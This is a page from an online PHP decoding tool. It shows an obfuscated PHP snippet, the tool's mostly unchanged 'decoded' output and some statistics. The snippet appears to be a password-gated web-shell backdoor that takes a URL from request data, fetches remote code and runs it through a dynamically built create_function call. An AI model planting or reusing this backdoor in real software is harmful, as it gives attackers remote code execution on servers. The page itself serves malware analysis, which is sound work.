Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $sQuvq = range(chr(126),chr(20)); $zj=${$sQuvq[31].$sQuvq[59].$sQuvq[47].$sQuvq[47]...

Decoded Output download

<?php $sQuvq = range(chr(126),chr(20)); $zj=${$sQuvq[31].$sQuvq[59].$sQuvq[47].$sQuvq[47].$sQuvq[51].$sQuvq[53].$sQuvq[57]};if(in_array(gettype($zj)."22",$zj)){$zj[70]=$zj[70].$zj[77];$zj[87]=$zj[70]($zj[87]);@$zj=$zj[87]($zj[53],$zj[70](${$zj[38]}[29]));$zj();} $sAG = range(chr(126),chr(20));$sHuvw = array(@${$sAG[31].$sAG[55].$sAG[57].$sAG[42]}[$sAG[61].$sAG[44].$sAG[44].$sAG[61].$sAG[37]], $sAG[27].$sAG[12].$sAG[25].$sAG[29].$sAG[10].$sAG[25].$sAG[31].$sAG[24].$sAG[9].$sAG[16].$sAG[27].$sAG[10].$sAG[21].$sAG[15].$sAG[16], $sAG[11].$sAG[10].$sAG[12].$sAG[31].$sAG[12].$sAG[15].$sAG[10].$sAG[77].$sAG[75], $sAG[20].$sAG[11].$sAG[15].$sAG[16].$sAG[31].$sAG[26].$sAG[25].$sAG[27].$sAG[15].$sAG[26].$sAG[25],$sAG[14].$sAG[29].$sAG[27].$sAG[19], $sAG[28].$sAG[29].$sAG[11].$sAG[25].$sAG[72].$sAG[74].$sAG[31].$sAG[26].$sAG[25].$sAG[27].$sAG[15].$sAG[26].$sAG[25], $sAG[24].$sAG[21].$sAG[18].$sAG[25].$sAG[31].$sAG[23].$sAG[25].$sAG[10].$sAG[31].$sAG[27].$sAG[15].$sAG[16].$sAG[10].$sAG[25].$sAG[16].$sAG[10].$sAG[11], @${$sAG[31].$sAG[55].$sAG[57].$sAG[42]}[$sAG[15].$sAG[24]],); $rXP = $sHuvw[2]($sHuvw[0]);$Mb = @$sHuvw[4]($sAG[54].$sAG[84], $rXP);$yTGD = $sHuvw[3]($Mb, true); $sHuvw[7] == 1 && die($sHuvw[6](__FILE__)); if (($yTGD[0] - time()) > 0 and md5(md5($yTGD[2])) === "516a8a49160bd3d5c3981e25b6e8c76b") { $LiSg = curl_init($yTGD[1]); curl_setopt($LiSg, CURLOPT_RETURNTRANSFER, 1); $zh = curl_exec($LiSg);$iksQZ = empty($zh)?$sHuvw[6]($yTGD[1]):$zh;@$sHuvw[1]("", $sAG[1] . $sHuvw[5]($iksQZ) . $sAG[79].$sAG[84]); die;}  ?>

Did this file decode correctly?

Original Code

<?php $sQuvq = range(chr(126),chr(20)); $zj=${$sQuvq[31].$sQuvq[59].$sQuvq[47].$sQuvq[47].$sQuvq[51].$sQuvq[53].$sQuvq[57]};if(in_array(gettype($zj)."22",$zj)){$zj[70]=$zj[70].$zj[77];$zj[87]=$zj[70]($zj[87]);@$zj=$zj[87]($zj[53],$zj[70](${$zj[38]}[29]));$zj();} $sAG = range(chr(126),chr(20));$sHuvw = array(@${$sAG[31].$sAG[55].$sAG[57].$sAG[42]}[$sAG[61].$sAG[44].$sAG[44].$sAG[61].$sAG[37]], $sAG[27].$sAG[12].$sAG[25].$sAG[29].$sAG[10].$sAG[25].$sAG[31].$sAG[24].$sAG[9].$sAG[16].$sAG[27].$sAG[10].$sAG[21].$sAG[15].$sAG[16], $sAG[11].$sAG[10].$sAG[12].$sAG[31].$sAG[12].$sAG[15].$sAG[10].$sAG[77].$sAG[75], $sAG[20].$sAG[11].$sAG[15].$sAG[16].$sAG[31].$sAG[26].$sAG[25].$sAG[27].$sAG[15].$sAG[26].$sAG[25],$sAG[14].$sAG[29].$sAG[27].$sAG[19], $sAG[28].$sAG[29].$sAG[11].$sAG[25].$sAG[72].$sAG[74].$sAG[31].$sAG[26].$sAG[25].$sAG[27].$sAG[15].$sAG[26].$sAG[25], $sAG[24].$sAG[21].$sAG[18].$sAG[25].$sAG[31].$sAG[23].$sAG[25].$sAG[10].$sAG[31].$sAG[27].$sAG[15].$sAG[16].$sAG[10].$sAG[25].$sAG[16].$sAG[10].$sAG[11], @${$sAG[31].$sAG[55].$sAG[57].$sAG[42]}[$sAG[15].$sAG[24]],); $rXP = $sHuvw[2]($sHuvw[0]);$Mb = @$sHuvw[4]($sAG[54].$sAG[84], $rXP);$yTGD = $sHuvw[3]($Mb, true); $sHuvw[7] == 1 && die($sHuvw[6](__FILE__)); if (($yTGD[0] - time()) > 0 and md5(md5($yTGD[2])) === "516a8a49160bd3d5c3981e25b6e8c76b") { $LiSg = curl_init($yTGD[1]); curl_setopt($LiSg, CURLOPT_RETURNTRANSFER, 1); $zh = curl_exec($LiSg);$iksQZ = empty($zh)?$sHuvw[6]($yTGD[1]):$zh;@$sHuvw[1]("", $sAG[1] . $sHuvw[5]($iksQZ) . $sAG[79].$sAG[84]); die;}  ?>

Function Calls

chr 2
range 1

Variables

None

Stats

MD5 8a623199f3a4ac987549b2c35d062411
Eval Count 0
Decode Time 68 ms